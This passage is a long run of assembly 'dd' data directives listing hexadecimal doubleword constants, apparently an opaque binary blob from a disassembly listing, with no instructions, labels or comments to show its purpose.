77F55C4h, 85E01F10h, 95208FF3h dd 3C2B9765h, 6EB70902h, 989BF2EEh, 2B0C5B4h, 40D01992h dd 5CE23F04h, 0C1801051h, 0FDC8CB0Ch, 0F3CA004Ch, 0F9A1A4DAh dd 0C66D9AF5h, 0E889A8C9h, 44B81E87h, 0D8004A32h, 418E78A6h dd 1FBF734Ch, 52F0D455h, 5890BCC9h, 0E4DC4E18h, 0CDE007BFh dd 0D08AD4E1h, 88D19316h, 17918C9Ch, 79A02809h, 425868F2h dd 0C5F84DECh, 80CB00Ah, 29B7032h, 0FCC01F80h, 0F046194Ch dd 47019602h, 62DB4582h, 0E90802C0h, 0E2B85487h, 64F61691h dd 82929F40h, 0E7E685h, 8F35C5E4h, 91290EBAh, 0BF48EA12h dd 1E380444h, 0B8A11245h, 0C469C3B8h, 0F7BC59h, 722D7440h dd 48490950h, 2C71F8B8h, 0DDDC3Ch, 770F9419h, 31CF56D8h dd 0C6E80D9Ah, 888C68E6h, 405C9E10h, 0BD63E090h, 681EBCD6h dd 1B40D365h, 5FE1138Ah, 4C2E02E8h, 18D832BFh, 0C2C0B84Bh dd 48A03D56h, 0FE4CBEC5h, 0B59ECA40h, 88DCEE00h, 3F35F4Ah dd 0E92DB690h, 89E0421Ah, 320C1F3Eh, 0F92C48B7h, 71910E46h dd 0A1D65092h, 1D2A306Ch, 4CC497h, 0E9441BEFh, 0C2E88997h dd 0DA84631Fh, 529BBEC2h, 56544222h, 0BAE04EF0h, 6F2D7605h dd 39D23F0Eh, 0BD552072h, 5CB51D5Bh, 36823C45h, 9CD4AC4Ch dd 93FC4Ch, 76FEC271h, 34C49A01h, 0F28BB450h, 1DA3CC00h dd 0E9893B13h, 81450E6Fh, 55801073h, 64B61A67h, 804A4438h dd 2A755942h, 17E2B78Ch, 70167E78h, 0F85A2828h, 0FDA93500h dd 0A03C40FCh, 4278BCECh, 39111333h, 2C80A87Ch, 97DF2D86h dd 0BC22DC5Fh, 502904D7h, 702B00D4h, 0D6BA23EDh, 0B8AF50ECh dd 442C96D3h, 0D428AB90h, 9E985Ch, 5A333F9Dh, 91EB1685h dd 0E842C25Eh, 201BE0E6h, 0D163E553h, 83177FB0h, 0B813F202h dd 82F4BC06h, 20659D60h, 0D80B6000h, 119638Dh, 7B3FE5F6h dd 0EC587A1Fh, 0C7E0C299h, 12C0165Ch, 48B9254Fh, 0FC74B380h dd 0E8016A09h, 2F434829h, 0B066DEC6h, 0B05C4C70h, 981F4C80h dd 86252B30h, 8A9C4887h, 58B402CCh, 3C1E93C8h, 4431F8E8h dd 7448264Eh, 0FC2D443Dh, 449388FCh, 0A0B2C2h, 7C51F35Eh dd 3E5091A1h, 0B4B235D2h, 8E242488h, 71093482h, 0EC328CB8h dd 9C91E221h, 9902AF1Ch, 0C0377113h, 1F1A16EDh, 402D0674h dd 53706FB9h, 94133D24h, 18ED14B7h, 0E03A2D80h, 8400978Ch dd 371BD394h, 25564026h, 74DB1345h, 0CBEA2F80h, 3057FF2Eh dd 3DE82C3Bh, 849D3C04h, 2080BE60h, 274CC74Bh, 0C891DB0Ah dd 221D02ECh, 0E0103BC7h, 0A22E8811h, 0D7DE10Eh, 154E0C7h dd 0B65B0DBh, 28BFA8DFh, 99310C40h, 68E8B083h, 4F4B14CCh dd 1C399CEAh, 25049C40h, 1E98F312h, 6CDA1740h, 0C8974530h dd 88C5D9A8h, 23D3E0Ah, 0B3A58180h, 0BE82BB87h, 0C297D0F0h dd 381D5848h, 0C8BAE89h, 0F92EE838h, 533EBA1Ch, 4644154h dd 83ABC712h, 0F88875AEh, 0B7950BD4h, 91B044C4h, 692E80C4h dd 8549D2DDh, 746B4E02h, 62CF270Eh, 3ACD19Fh, 0DE1ED293h dd 2AD10FA8h, 4B008DFCh, 0E0E9CB88h, 0CFD5535h, 16ED311Ch dd 67098B60h, 0F123E5E3h, 1F900064h, 93F6AA51h, 0F3BFA900h dd 0EA24E5C0h, 74F275D0h, 48335CDEh, 0FE756980h, 5190202Dh dd 0E02C9004h, 0A4EC8765h, 0DE592480h, 6CB2725Ch, 0B0D03926h dd 5ED349C2h, 316740ACh, 8C28620h, 606E4FE5h, 16B7D81Eh dd 0B242569Ah, 8C017A58h, 0FB0EB072h, 0C747B731h, 605AF4E2h dd 0F00F826Ch, 0FADD7C8Ah, 48063EEEh, 0F16FC201h, 3B99F2F4h dd 3C0150CAh, 0A96432B9h, 0BDB07CE8h, 7E794800h, 0E2510138h dd 3E063912h, 9923FC93h, 0ECB0CA2Ch, 98F44582h, 166C58A5h dd 0A23D0A17h, 8E961600h, 1FF620C8h, 1E419A2h, 61289AD9h dd 90903BBAh, 9A884553h, 2F4EFA1Ch, 88A30CD9h, 21FC9598h dd 0BB101A3Ch, 0F45C43C4h, 9CA3D3CCh, 4CD92A25h, 1B444CA8h dd 51CA6F12h, 0AE6CD981h, 9C006A63h, 1D048750h, 3153042Eh dd 40AFCA15h, 18B730FBh, 54910482h, 942009C4h, 5020EFCCh dd 3CBEDA57h, 0FF24ED92h, 1F31001Fh, 505582A3h, 80689C3Ch dd 0B22AC58Ah, 0BDD41C8h, 784528BEh, 0A289245Ch, 13ECF1A8h dd 0E3A4209Bh, 0E12AE0D0h, 0BC029078h, 2EAA0AA4h, 3E28E6AEh dd 7E8ECA08h, 6560CC28h dd 13F12D3Fh, 0B3866900h, 0FBB02573h, 0E6C91182h, 60330F58h dd 1E1205A7h, 3F6ED8C0h, 0B52AECE4h, 5F6EDC44h, 884E6989h dd 8065CC47h, 76D4BC22h, 90E297C0h, 390AAD5Ch, 2D38A40Eh dd 511669D0h, 9BC88604h, 2C9869A2h, 8D04A0BDh, 9843702Fh dd 0AE40F98h, 90956045h, 0C4F99310h, 0ED451F99h, 8020A873h dd 33409CCAh, 0FEA024C5h, 0E60B04D0h, 0F85C8328h, 274608ACh dd 321A5468h, 780C4D12h, 4F78BCBDh, 426C73CBh, 0CA7857A8h dd 44D49E04h, 3FFF3C3h, 8B7DE8A4h, 22F89858h, 12210A18h dd 3B24EEC6h, 0E007CC4h, 0CCFEFDA3h, 5EF1A26Fh, 70928397h dd 96782095h, 7F828DB9h, 0F4D35C91h, 0AC00A831h, 0CEC0CCCAh dd 5E849D0Ch, 88E08027h, 1B599312h, 925D0B38h, 41DC5661h dd 3D7D4653h, 0E0B30060h, 56D24EDAh, 4CD65C44h, 0BBAC4D02h dd 84DC02F0h, 9876620Fh, 63E39F0h, 0E82D83FDh, 0E50099C7h dd 81C53F36h, 2918672Ah, 3D980756h, 36E78382h, 0B082BECBh dd 5E18283Ch, 10118907h, 0FF757F2Ch, 1C77330h, 0C9F49A1Ah dd 6D8D9BC6h, 0CB3111DCh, 928B9138h, 0B8A9F2A8h, 670F60C4h dd 6FFA17B5h, 0F3D9A04Bh, 7F3DB2A2h, 0C32E6D1h, 9AF71562h dd 69256AE0h, 186C842Dh, 0E4E92440h, 0C4B58EF2h, 0A20A5A1Ch dd 6F44509Ch, 3F53B0A8h, 79A4A9B7h, 0EBE80318h, 69F027FBh dd 0E6070F1Ah, 0A9CBD22h, 0B1F5A0F0h, 0C0A16861h, 65C130B6h dd 0A7300897h, 0F07E9864h, 2BE08FAh, 84022647h, 5DEA386Fh dd 0D748000h, 3E28E8A4h, 0C543F029h, 0E9128A21h, 5D48F4h dd 30697C14h, 33DB9D3Ch, 65DA5E00h, 6A2E3A2Bh, 668802B7h dd 0BF31FEC9h, 385218E2h, 0BE8A5617h, 60072CF2h, 0E04C06CAh dd 44DA8CCBh, 3443782Eh, 8BDD681h, 206AB812h, 2821CB54h dd 0E3203F00h, 4176ECA0h, 560B001Eh, 2AFDA550h, 24E0B9BFh dd 45A1152Fh, 0C0B60044h, 59D8E9E7h, 0FB17DC01h, 202C6368h dd 0D7B8163Eh, 0B6D52064h, 39C0F548h, 0E0F1C86Ch, 438600EFh dd 6A4E989Ah, 0CF7044E3h, 52E57904h, 3082B5D1h, 4B8C1BC9h dd 0FD209829h, 66A00E4h, 425348E6h, 0BD0BCA43h, 0F8CC4BF7h dd 9490975Ch, 0AD3C6316h, 3873899Fh, 0D2C98047h, 51E62A5h dd 1F048B27h, 489C0494h, 4C200975h, 0AE4213BCh, 27E0B256h dd 4709612h, 3319AFFEh, 6B9580F4h, 92246243h, 866404D9h dd 2CBE2D40h, 0E75A1CE9h, 0E305E0A6h, 2E2335Dh, 2B5B1F08h dd 40747042h, 91D40549h, 10059032h, 0C8C4C020h, 60FB77FCh dd 0AAEBBDD8h, 0FB789D05h, 0A420303Bh, 0EF43B0h, 411DD19Ah dd 0D54899B6h, 15ABAF09h, 0E074184Ch, 406AE5FDh, 2956AA40h dd 350113B8h, 37367AECh, 86E98E58h, 2A60F9E8h, 457CC192h dd 3D02CE63h, 20A47773h, 10CA9A1h, 69096C9Eh, 203FF317h dd 7AE0B4C8h, 0D0CB9400h, 0DF65DDF9h, 9F2400B5h, 3A9165Fh dd 0CA278A45h, 0B08410B7h, 154B00A7h, 0ADA4D413h, 534CC5BBh dd 188D26E4h, 0E6446864h, 30B294h, 5FC8599Dh, 7493876h dd 0D8DA05ABh, 8AC1ABEh, 15164290h, 30619C30h, 3C48BEE1h dd 8963281Ch, 0A4FA9415h, 65415325h, 3FCD00ACh, 0F991D1A8h dd 7CC7FC00h, 0F8810CB7h, 0EDF0A14Dh, 0B884CE0Ch, 0F1E55BDCh dd 3A8737Ch, 6065CF10h, 7DBA91F6h, 254D8CC4h, 0D8E49816h dd 0D9AA2E00h, 0BEC40DA0h, 17FE98E7h, 1320399Dh, 74A2E4h dd 0A71E5934h, 57F0A58h, 550F6712h, 0E456AA31h, 89228408h dd 6004E5C2h, 0D00E4721h, 0A308ED83h, 1CC2E136h, 0FF24047Bh dd 0D1E8CC51h, 14F2E74Eh, 4D020D00h, 8C92B6Eh, 0BD203C00h dd 0FCDA1B0Ah, 9D861342h, 0FDF80895h, 0F683D262h, 3021C064h dd 2A000B7Ah, 385DA56Fh, 803D6E9Ch, 0EF582C49h, 15B4A0FCh dd 1AA30352h, 9BA145F4h, 440ECA8h, 30C85B5Bh, 3A21001Dh dd 3FBD414Fh, 8F00F292h, 4DE67B55h, 0FAF09DBBh, 8270AEB0h dd 4354718Ch, 37F0C784h, 0EF05F83Ch, 1FEB1AB1h, 0CD10E4C4h dd 895A88B0h, 20DAC549h, 1495F426h, 514C7E69h, 0FC12D22Fh dd 6FBA1C68h, 51E27CE1h, 3742C8h, 440956C2h, 99D121Ah dd 0FCFBF0h, 7E9B5BF9h, 0C97373A4h, 0AED0351Ch, 5755B600h dd 5266585h, 4928868Eh, 4550B4D5h, 48C1A40Bh, 40E051C6h dd 0C8F849D0h, 2F103B05h, 40D9704Dh, 582923F5h, 0A08C3C80h dd 2D16B3FAh, 0AC12DA10h, 0AC223913h, 0BC54296Ah, 1DF28240h dd 0AE6F0138h, 906D49EAh, 4EC6064h, 95232244h, 8CCE818h dd 0F7D63200h, 0ECD7BA28h, 51B71612h, 0DD64309Eh, 0E59F58B9h dd 1F5F0868h, 84962101h, 0F2F10ECh, 3905123Ch, 97E8F48Ah dd 47490904h, 60B4A116h, 0B7D902D7h, 0CF03154h, 94DFC91h dd 2912C1FDh, 3D531140h, 0C48991C2h, 4C9B7F48h, 0F2D4E010h dd 0E3362671h, 2E736248h, 9F90905Fh, 0AB6000C4h, 7866594Bh dd 0FC1D1538h, 1ECCD0F1h, 8620909Ch, 600E8644h, 2B3FC8E5h dd 603BE253h, 8CA0A601h, 881BA888h, 59A7559Dh, 0D1E70134h dd 0F8E1C51Bh, 7D1CA5BBh, 52003A91h, 0CE767ECFh, 3035072Dh dd 50600DDAh, 0C55F55FEh, 0B500A970h, 2F97E771h, 418EBB0h dd 0BEAC454Ah, 0D08C1E2h, 401E087Ah, 0F800E684h, 0B4B6DC96h dd 0FE88286h, 85F1152Ah, 65A04ED3h, 468B00D0h, 4CBABCD8h dd 7A9F447h, 92EF9F16h, 8B1AC07Bh, 5F019EC6h, 21D5AD17h dd 99F82609h, 1EDE041Fh, 822C2F7Bh, 98981CDCh, 0DC9145AFh dd 0E22FEF11h, 8874F848h, 909DF300h, 29AA4F93h, 728C00FAh dd 370EB7FDh, 4BD269Ch, 2EC5C2A0h, 900A0BCh, 63EB8D38h dd 74FC518Bh, 8FCEEF39h, 89C47D25h, 3E547022h, 0B7099791h dd 0A07E8BE8h, 5BCB4B00h, 46D589h, 77337CC5h, 305358D7h dd 2B0A6400h, 9A254B16h, 4414921Eh, 0A301740Dh, 47DB60BCh dd 0B6CDDF69h, 5DD2CE4h, 0C5573E6h, 1D548249h, 42CCC19h dd 0AAED8CC5h, 0BFC0C067h, 1E69A48Dh, 408971C6h, 7F2B0240h dd 4C26E205h, 0FC2E815Fh, 0D07952h, 6CA75A9Ch, 0EC00572Eh dd 0F9DBCA1Dh, 0A96D9BC6h, 8D121944h, 0E8A53004h, 34A8212Bh dd 0A0E02B09h, 3B562796h, 0D6007CC4h, 0A0B7987Fh, 99D90A66h dd 2DA11EB8h, 0EE3AC850h, 0D0F14E02h, 19FA4821h, 0E02C1267h dd 80764974h, 4496A4F2h, 0C79DC280h, 77E93E09h, 7BE732Eh dd 0FC505A8Bh, 88E6F422h, 239ECA0h, 0A34B001Fh, 0A83B944h dd 17420546h, 81F2AB66h, 93D8400h, 880F3EE0h, 53267EE9h dd 0EC40A43Bh, 246423DEh, 89CBEA6h, 3A4410F1h, 98045E4Bh dd 0C458840Eh, 0DC34AB10h, 0B50820ABh, 0B034532h, 9704442Bh dd 0FBA0D008h, 33E51315h, 0EB3C31ECh, 0C490242Bh, 89645A86h dd 1117D5A4h, 882F44F4h, 2F00BFF8h, 0CB982691h, 989D8259h dd 8DEF00ADh, 4D35871Fh, 0D45A48A7h, 30B02C53h, 649CA858h dd 5D0D01D1h, 0B552142Dh, 0D67C60CBh, 72022944h, 4D18C354h dd 2480C36Ah, 630236E2h, 4BA1C1A6h, 6264591Fh, 0F05C94E5h dd 0EF4CF240h, 4FF0181h, 0C1DC136Fh, 0B5082028h, 6522EA42h dd 1A3446B5h, 1996F2E6h, 0B65FC840h, 19F5AB09h, 58580229h dd 101011C3h, 0F60A50h, 0F0C67657h, 902F7899h, 8934E2B5h dd 0D3640044h, 70CE4C0h, 0E3AA49C5h, 0C317A506h, 98218B44h dd 845F90A1h, 0B25256C8h, 0C5980018h, 0C74AEBDCh, 0FFB513DBh dd 0A59C058Fh, 3828BF80h, 214D4BFBh, 2BE33014h, 48EBD880h dd 0C284984Bh, 0B9554661h dd 38ED4049h, 50B2A4DCh, 65426D01h, 0E8831D40h, 0C37F236Ah dd 49E9E405h, 0E80EEC5Eh, 6432779Eh, 0A43C2406h, 99A08D88h dd 8B98CCA1h, 310FE8F8h, 226F73FEh, 0E2BECF36h, 0D05C21D8h dd 944287E7h, 8A81989h, 544250C9h, 0E59D88BBh, 0D360B500h dd 2353D4B0h, 3F9004EEh, 0FE9CB88Ch, 501A7C73h, 969A0041h dd 3D96070h, 2A4848E2h, 0F2101000h, 11435308h, 0E8B380B5h dd 0EC72E68Bh, 99437C00h, 2A6AA09Ah, 8E5800BCh, 1151A1B9h dd 689C4CB7h, 6898E5E0h, 0B2DA2EB3h, 0E448844h, 0D8218844h dd 91F411BAh, 493C03Ch, 816CFCh, 6FA09EC4h, 237704A2h dd 80C04399h, 0DB50510Ch, 33D7E700h, 9ECA8AB2h, 5C690173h dd 2D212A52h, 803C2CB9h, 60471E44h, 34DE0475h, 0A215B83Eh dd 0A8EC009Ch, 9143C1B5h, 1E9514E4h, 0F121D85Fh, 0B24AAB91h dd 0BD23011Ch, 6466E89Bh, 0E6A7ACCh, 12E43F6Fh, 82A8D436h dd 0F85C2139h, 94ACCDC0h, 0D4E70049h, 42598C3Ah, 283F6587h dd 70D450DDh, 0E0711FBh, 2E48C511h, 0E23F6CC8h, 0C02DF3C0h dd 68066200h, 0D7470DCFh, 0C5FF4505h, 4C83855Dh, 10A8B087h dd 270A0011h, 1896E697h, 0C4FF98C0h, 827D0868h, 0E8091704h dd 99278FF2h, 31DDA804h, 980483FCh, 5400DE20h, 15280184h dd 1C19BE13h, 52E8C3F7h, 4E0CC205h, 0D92CA955h, 0AFAC00F0h dd 41E8BB88h, 2937D800h, 0F1A7C43Fh, 0B010B547h, 0A1986D3Dh dd 30BD161Eh, 4342CF8h, 0BCC51550h, 995442A4h, 311401D5h dd 0E060E54Bh, 0C74486FDh, 0D8649D29h, 0AA039FE0h, 0A2B3A1C9h dd 1BD4009Eh, 1E40D141h, 4B13A8F5h, 5404B853h, 87017385h dd 0A6FA39BCh, 201DBA78h, 0F0121309h, 48AD50D4h, 0C33D0403h dd 0D2947FC5h, 3471C950h, 3946E640h, 7F6758FFh, 0C094C025h dd 523FE21h, 0FAD5F0A1h, 0B9FAE000h, 0BFF5EAD9h, 4456A442h dd 6B113240h, 4494CB3h, 41FFAE0Ah, 249A89C8h, 88D45CC0h dd 548AF494h, 2BCACD9h, 494C7B38h, 4498DEDAh, 618A4013h dd 25B0E7h, 9AE4D276h, 8B6D4E66h, 0B421F490h, 0A8BC170Dh dd 5F83DFC0h, 8DBE33FFh, 2BFD7072h, 400CC71h, 4EC99F53h dd 55820E61h, 6BE7113Ch, 0D06C1592h, 0B0A53BCh, 442D3C89h dd 8A968503h, 2FA9A98Bh, 1710D01Eh, 2D9ACB04h, 58C09BEDh dd 5C0B7019h, 47276E3Ch, 8E3A48E8h, 0A30D50C0h, 0A6D848C1h dd 21089090h, 7A11EC7Dh, 255EC048h, 4A748174h, 300E0058h dd 0F01845D8h, 8378124Dh, 0B4E37624h, 0C85C0EC0h, 542D489Bh dd 0F484D1C8h, 0C2401396h, 3DE7A19Ch, 8AE4E550h, 54D8455Bh dd 84B40092h, 2C7ABACAh, 0AE7678D6h, 36C19316h, 5780121Fh dd 48CDD4B9h, 0C514013Bh, 0FA5A97DDh, 34B065EAh, 74A965E8h dd 0CBC51064h, 70561DC1h, 3B384B2h, 0B0D4C1BFh, 96A11077h dd 0CC8E0B0Fh, 5C4E2ED0h, 0B0B2C45Fh, 0ED75AA1Dh, 0EF00D854h dd 400D501Ch, 23F4BCh, 7BE0B9B7h, 0D268AEE2h, 0DF220B2h dd 0A7714B84h, 1276005Ch, 2D29EB8Fh, 0C94D00EEh, 23CA34D5h dd 7A5D9C37h, 0D6851D0h, 0A62C38E8h, 8E4450DEh, 797D649Bh dd 216F32DCh, 7BB8D949h, 5DC42470h, 1F9BB81Ah, 43E3BC5h dd 814058F5h, 0B68858h, 0B6EBF961h, 600149C0h, 3B2D48C4h dd 0CFEDF020h, 435C98D0h, 0F78670DDh, 4BE4410h, 1F6DA803h dd 0D1813DD5h, 402E3070h, 0D1ED9D5Ch, 41E1ACE8h, 5231E84h dd 638054A8h, 14A6DEC2h, 3F895300h, 76193EFEh, 3818B545h dd 7501A98Ah, 7821B3F2h, 7A30BBD5h, 0A131699Bh, 90F7503Ah dd 77BB1658h, 6A180047h, 3E77D571h, 900B857Bh, 0C12CDA10h dd 0D082428h, 969F88h, 7C8E475Ch, 319CD081h, 3545FC0Fh dd 1340BDB5h, 0DDE33486h, 1D320011h, 86C4C9Fh, 0DBE6F797h dd 9C469409h, 0C450E123h, 0A99263C4h, 840C90E8h, 4C28CEB5h dd 6E01C158h, 82741B01h, 0C02161BFh, 0F21460D1h, 16A41873h dd 0FC923B16h, 0BA2920B7h, 309F47C4h, 9F4056D0h, 0A101C8C4h dd 0D9167169h, 0D4612896h, 0B316B823h, 89F009BFh, 0E6D838B0h dd 95662F44h, 0F1AEE418h, 0AD020F76h, 0F9319A77h, 0B150C1B6h dd 0C850167Ah, 2B0074A8h, 0D3DDB282h, 1E975E72h, 40ABD27h dd 8BC93155h, 74885A84h, 5C811C75h, 353FC223h, 546158BEh dd 9C570C19h, 0E82C6288h, 0F41F3622h, 10C04020h, 0F1383D21h dd 66138323h, 0C055417Dh, 99EBB83h, 0B4CBDC52h, 10DC7309h dd 0E5B2A04Fh, 307C7396h, 71AA6F53h, 5104E143h, 9FA2E601h dd 0D4020ABh, 5200A1A4h, 0F6A0090Ch, 2587B3BDh, 0F845259Ch dd 1112E08Fh, 81DAC31Eh, 0F54365A2h, 0F08FEC04h, 0D831302Ch dd 45796908h, 3070BAF6h, 0ACFAB8h, 6B138429h, 0F0E4347h dd 2C38490Fh, 0CC76296h, 42D4522Fh, 0DB410B0Bh, 0A050E8E9h dd 0E7800B0Ch, 0D08F65A9h, 91C17845h, 96E1894h, 79871EE1h dd 1903A429h, 0EA64EC60h, 980568Ah, 70D94256h, 81C1BE43h dd 4029CCCEh, 0DEF8D009h, 3093D498h, 314E2009h, 0E2ACC4CCh dd 7C208A45h, 787EB8A4h, 42E49400h, 0B3D30308h, 0ECEA015Bh dd 1A88AB51h, 1C8020B5h, 8F67E08Bh, 0D9B761A5h, 11757961h dd 0E815D531h, 0F34D80D0h, 13C9651Fh, 0A388155Bh, 54462044h dd 88BB4CBFh, 5D038EF2h, 5F7A6CB3h, 98E483E8h, 181C6EBh dd 512CB9D9h, 4028E344h, 3C87609Ch, 72E0309Fh, 317712A1h dd 80A4B8D2h, 7D9FBE58h, 0F3BD0096h, 7719B7ECh, 7EF92169h dd 5FA44030h, 61CA042Ah, 8CD846AAh, 0BE09ACACh, 0F1BC2E48h dd 9C1F109Ch, 0D10A826h, 962934CCh, 0F250A8C4h, 4E09DCE7h dd 82006DDDh, 186F047Ch, 5DDC8517h, 2840F0E1h, 3A08ADDEh dd 0F4093Bh, 54EC9E84h, 8A469932h, 4822ACE8h, 22300F4h dd 0BCC2E39Dh, 0E01EA56Ch, 414006A9h, 3C5351DCh, 0D4C5881Eh dd 69B5F909h, 21B04124h, 0F488180Ch, 50949D91h, 0EBA5E10Eh dd 0D8842C7Bh, 7AE241E0h, 0FDDF1822h, 4EBA8C21h, 852C389Dh dd 94D2B6D2h, 23F71815h, 47C784B6h, 4D2A009Fh, 0E52DC68h dd 6FDFEB5Eh, 417DA84h, 0E0D14176h, 7D18BBC6h, 2FE5F400h dd 7EC33D0h, 0B09B0E04h, 0DA40091Ah, 4E67216Eh, 0C542BC00h dd 360B4503h, 0E399006Bh, 9A1AADF3h, 4909DFD0h, 604C7B0Dh dd 847A1DA0h, 8831075Ah, 8988379Eh, 0D1ADBE2Fh, 5061003Ch dd 3FDB4FA3h, 2BC19000h, 67C77ECAh, 922030D0h, 0CD08E508h dd 7B7F8209h, 10C05453h, 4F019325h, 0E5101512h, 59102068h dd 224D84F1h, 0DE54A853h, 7E95C9h, 0E5C02BE8h, 50A2952Eh dd 0D4CE6AC4h, 344BB400h, 0B20916CEh, 682E3E66h, 77379980h dd 7257ABFFh, 1D972B0Dh, 24FD6112h, 3C94CC3Fh, 5500D9F2h dd 71E45FA6h, 1D86582h, 154FB02Fh, 0D22ED11Eh, 0FEDC11D5h dd 0C455C990h, 72AE2158h, 38D95D3Ch, 0F4D7498Ah, 4C8FF442h dd 0E23626BCh, 2B5B6280h, 0AA1DB0E6h, 0CAC026FAh, 0D77E8F4Dh dd 81B04A69h, 80258580h, 0EF95AA08h, 17B7D0F5h, 0BCF44344h dd 781A81F0h, 0B81630AEh, 3C839012h, 0E02B20D9h, 0B42CD33Ch dd 2AC0DC31h, 0A47AA1h, 6C8D09C7h, 0CBD516Bh, 6C6E73Bh dd 79F22F8Eh, 2175EB8h, 0E2535298h, 44C96C5Eh, 0AA507DCh dd 47A0D251h, 0D07750ADh, 0E900CDF2h, 93A9C5C1h, 25653D9h dd 3EE564B5h, 0B449ADE4h, 75B0911Fh, 5B022820h, 0E245B711h dd 0A572007h, 0D0008503h, 10EEF53Bh, 0E86E8C25h, 83CE0204h dd 0D7FBE6F6h, 65002476h dd 0F9C220E2h, 6C334C96h, 0E86C820Ah, 0EAA2BDF0h, 0B46F4522h dd 0D1408F8h, 0F0502544h, 80D4F25Bh, 6CBB6E28h, 5A1B0002h dd 3B43A64Eh, 0C00E7C69h, 258A7B08h, 0D045BE48h, 70AC9BF4h dd 22C5D984h, 9B6A1099h, 0A8A25F4Eh, 5C87D901h, 0C0218079h dd 0C98D618h, 3DC41600h, 0FDD38F77h, 0B991887h, 459DB0B0h dd 0EEC75C96h, 0DBA2C2D0h, 0C7FB0163h, 0C3FC3D52h, 25C42CB2h dd 0A0F0E5E5h, 9D8000C0h, 2F9245B9h, 4907A9Eh, 0F2E5BF04h dd 708C2198h, 8970E29h, 0B86B9D4Ch, 31B53424h, 0E98823FCh dd 0C29242A4h, 219C20BEh, 5C0E8D06h, 47C77C5Ah, 58D0A413h dd 17BEF09Ch, 0E81D3E56h, 9293E0BCh, 4D3C3C07h, 9F20D85Ah dd 9434286h, 2A6BE828h, 698A6810h, 9024543Bh, 7D589646h dd 0E24A80C6h, 0E0E47024h, 4F2C0Eh, 9381E152h, 856F00EFh dd 0B9BEC012h, 8EE47ACh, 4CF3412Ch, 386FD70h, 52422696h dd 21131FBDh, 0FCF521C5h, 5ADCD86Fh, 22E8934Ch, 5A78BF2Ah dd 5188E769h, 0E5FB1788h, 6C65D400h, 8D270800h, 0BD9F6E9Ah dd 48697CD2h, 0ABC0280Bh, 0EEC4258h, 6CE5385Bh, 0C0203DE1h dd 0BECE194Ch, 8212149h, 0A29808h, 1CCF0A5Ah, 0BE69E4FBh dd 442AE527h, 7D71D0h, 179D82CCh, 0A8EFC342h, 4BA42809h dd 0F7C054Dh, 0D0F3A4D4h, 19C66F00h, 0B94253BAh, 9D0DAE00h dd 200A233Dh, 489897C0h, 470EDFA4h, 425C45F3h, 8EE797D7h dd 0BED1E308h, 385180E2h, 587B1372h, 0EBEA0097h, 0E0C51CBAh dd 0D36CBD00h, 0E8086FBFh, 0A02A0188h, 801B01EEh, 0ACCC6BD2h dd 0C302C04Bh, 77FF323Dh, 45809A00h, 0EDDEA79Bh, 133C13B0h dd 0AF5C88F5h, 0CC420D00h, 0E16C663h, 28B90001h, 1FB19F4Ah dd 0D225532Dh, 8A3CD1BDh, 3B0CD6C5h, 0EC92BCA7h, 0BA1E4CE4h dd 944069ADh, 0BC348D0Bh, 0DD563F45h, 0B68EAB3Dh, 8AA032D7h dd 0C4749ECBh, 871CDB01h, 56AC2E88h, 4E90CC7Eh, 6E40B8E6h dd 4D9627F2h, 3D68F490h, 0B400E491h, 30D7BCEFh, 40DB4A99h dd 7A23454h, 0B5260EB9h, 14019CE3h, 21724356h, 385CD83Ah dd 80D2323Eh, 3FBFC1D8h, 0E837B04Dh, 53EB00FDh, 24BC6231h dd 0F926E68Ah, 384D0E0h, 0F082A943h, 0FB8E2017h, 0E42D36D0h dd 4BCF96Ah, 0BE23AC4Bh, 0EEBE8C00h, 0B774E444h, 58965844h dd 0E6AB8605h, 0E3799880h, 0A3D05F31h, 0F8240060h, 2A100912h dd 0FA470459h, 0ACC33CDBh, 0F79E8058h, 3DC6B056h, 3A007223h dd 0D3BAFA0Dh, 180FDF95h, 0D30854D8h, 3E80A0B2h, 0D8A39604h dd 98F31D5Ah, 8EC1D100h, 0F61C697Ah, 0D4016E90h, 252904B3h dd 403A7806h, 0B43767D0h, 0E300D332h, 94B3F391h, 6C8FD4h dd 83857D6Dh, 49574FA0h, 11961612h, 0D336F0D0h, 0C44A48C4h dd 0E9459813h, 0E9278090h, 0F49B2Dh, 0DCB4D023h, 0CC9D550Bh dd 0A1FFDCEBh, 542F0600h, 0D2E16CD9h, 2C43B573h, 2830EED5h dd 5D405606h, 2C0260A3h, 6BB89CBEh, 8F0F405Eh, 73AF7DA2h dd 0C26500CCh, 0EE85B937h, 2D1D7001h, 6CD4A5BBh, 0C47603ECh dd 0EA822268h, 0D238C420h, 241200B0h, 0E1ED1335h, 0DE011F96h dd 0E8EE11D4h, 74E5D6FAh, 0C3803C68h, 0E9F6A7EAh, 844DA13h dd 0C3CC4A1h, 3F245680h, 94C07C43h, 88DD5984h, 0BE7FC34h dd 0B0928FA2h, 183B80E8h, 9C827D8Ah, 0C5231D09h, 0EDF380C1h dd 3D00706h, 0D256E962h, 60091F3Bh, 450910C0h, 0F27DE1E7h dd 57C00856h, 39C61705h, 0CD855159h, 809E2BDCh, 0BDDFE9B7h dd 40D5B27h, 14C09C34h, 4C7304Bh, 48C4285Dh, 0F836BAD8h dd 8C94B510h, 5037B81Fh, 761D7480h, 0C4A7B78Eh, 5F2181C8h dd 9095C692h, 386420EBh, 0A50051CDh, 28B552F5h, 3905C08Ah dd 1770C2B7h, 0B24DEB5Ch, 902C3208h, 8578542Dh, 0C2D0EDF4h dd 20F1A4F1h, 0E086DA0Bh, 28DEF91Ch, 92DB9Ah, 6F30EE1Eh dd 0AA9D3419h, 0E125A413h, 99113490h, 0DC21FB76h, 5325BC4h dd 483BA7E6h, 0AB4F9D7h, 0C5A2CC39h, 12DC2101h, 59C00E1Eh dd 4FE04BFDh, 0FE60F3CCh, 0D6387052h, 6E414900h, 56151C2Ah dd 2B980A59h, 0A5A8BCE8h, 0E4120853h, 95935002h, 0DFF04250h dd 0E31F8496h, 1EF85509h, 0B01308C8h, 4F81ECA8h, 0C89AC658h dd 0CE0214E4h, 0FFBCA4BAh, 8394422Eh, 0F7B848A4h, 0DC793137h dd 0DA4CE310h, 0ACB840B0h, 0D8ECA000h, 51A10502h, 0BD1E02ABh dd 840CE838h, 0D8603075h, 0AFCA3E97h, 616899A4h, 100FE0B1h dd 27D00Eh, 0CC9A2DEAh, 0A8E6E1C5h, 48B404B7h, 0A74B5CC1h dd 7020BA04h, 3C902D1Ch, 0C92602F8h, 0B6B06090h, 51001D94h dd 3AD626EBh, 90CC373h, 71FA163Fh, 0EA601476h, 2836B514h dd 7BFA5866h, 0CC109FFAh, 0CE7F0183h, 174E8801h, 0C7264BF1h dd 